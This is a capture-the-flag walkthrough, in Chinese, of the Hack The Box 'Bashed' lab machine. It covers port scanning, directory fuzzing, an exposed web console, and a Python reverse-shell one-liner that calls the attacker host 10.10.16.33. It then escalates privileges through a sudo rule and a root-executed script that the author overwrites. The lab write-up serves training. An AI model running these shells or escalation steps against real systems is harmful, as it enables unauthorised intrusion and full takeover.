HTB-Bashed

OS	Difficulty
Linux	Easy

Nmap Scan

$ nmap 10.10.10.68 -T4 -p- --min-rate 1000 -sV -sC      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 22:53 CST
Warning: 10.10.10.68 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.68
Host is up (0.098s latency).
Not shown: 47313 closed tcp ports (conn-refused), 18221 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.89 seconds

访问80端口，存在站点

FUZZ

使用ffuf猜解目录，找到dev目录

$ ffuf -w /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://10.10.10.68/FUZZ'  -ic -t 100 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.68/FUZZ
 :: Wordlist         : FUZZ: /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 213ms]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 242ms]
uploads                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 100ms]
php                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 86ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 580ms]
dev                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 2534ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 150ms]
fonts                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 99ms]
                        [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 90ms]
server-status           [Status: 403, Size: 299, Words: 22, Lines: 12, Duration: 116ms]

漏洞利用

访问dev目录，点击phpbash.php，发现控制台

可以成功执行命令，利用控制台反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功接收到shell

$ nc -lvnp 9001                                   
Listening on 0.0.0.0 9001
Connection received on 10.10.10.68 51968
www-data@bashed:/var/www/html$ ls
about.html    css	   fonts       js	    single.html
config.php    demo-images  images      php	    style.css
contact.html  dev	   index.html  scroll.html  uploads

权限提升

查看sudo 配置，发现可以直接切换scriptmanager

www-data@bashed:/var/www/html$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html$ sudo -u scriptmanager bash -i
scriptmanager@bashed:/scripts$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

查找可利用文件，在/scripts目录下，找到test.py和test.txt 文件，可以发现test.txt文件的权限为root 创建时间是刚刚，所以可以尝试覆盖test.py来进行提权

scriptmanager@bashed:/var/www/html$ ls /
ls /
bin   etc         lib         media  proc  sbin     sys  var
boot  home        lib64       mnt    root  scripts  tmp  vmlinuz
dev   initrd.img  lost+found  opt    run   srv      usr
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager  213 Apr 21 08:22 test.py
-rw-r--r--  1 root          root            12 Apr 21 08:22 test.txt

使用python反弹shell命令覆盖test.py 内容，然后等待一会

scriptmanager@bashed:/scripts$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > test.py
<(),2);import pty; pty.spawn("/bin/bash")' > test.py                         

成功获得root权限

$ nc -lvnp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.10.68 41970
root@bashed:/scripts# id       
id
uid=0(root) gid=0(root) groups=0(root)

Flag	Path
flag1	/home/arrexel/user.txt
flag2	/root/root.txt